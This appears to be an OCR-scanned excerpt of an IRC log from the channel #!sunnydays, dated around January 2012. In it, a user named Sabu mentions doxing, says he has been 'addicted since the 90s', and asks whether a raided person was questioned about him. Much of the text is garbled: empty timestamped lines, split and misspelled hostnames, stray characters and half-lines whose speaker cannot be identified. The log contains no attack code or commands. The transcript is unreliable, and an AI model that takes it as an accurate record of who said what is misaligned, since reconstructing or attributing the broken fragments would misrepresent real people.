22:23 <@Sabu> if you got doxed, then shit happens 



22:20 < 
22:20 < 

22:20 < 

22:22 <(asabu> tna 




22:25 <- 

22:25 <" 

22:29 <(dsabu> I 




Good point mate. 
Its an addiction. 

enow 

22:29 <@Sabu> I've been addicted since the 90s 
22:30 <@Sabu> so if you were raided, did they ask you about me? 

NO. 

Not you personally 




22:33 < 

22:34 < 

22:49 <(dsabu> 
22:53 lii 
quit [Pi ng 
22:54 H 
jcTTT 



]oi ne 
22:54 
22:54 

23:02 

quit [User quit 




kerpi a-743B915D . gi gabi t . perfect-privacy. com] has 
kerpi a-743B915D . gi gabi t . perf ect-pri vacy . com] has 

by Chanserv 



! sunnydays 
^■tnode/#!sunnydays [+qo 
<^BH^^^H I'm back 

I [^^^^^^kerpia-743B915D. gigabit, perf ect-pri vacy. com] has 
LeavTng^^^^ 

23:06 <(asabu> yoh 

23:50 ^1 Topic unset by ChanServ on #! sunnydays 
Day changed Tue Jan 10 2012 



02:43 H _ 
#! sunnydays 
02:45 < 
02:57 H 
[Leavi ngl 
16:09 
16:09 
16:09 
17:25 




- Log closed Tue Jan 




|kerpi a-BE25F493.noisetor.net] has joined 

kerpia-BE25F493.noisetor.net] has left #!sunnydays 

has joined #! sunnydays 

has left #! sunnydays [Leaving] 

has left #! sunnydays [] 
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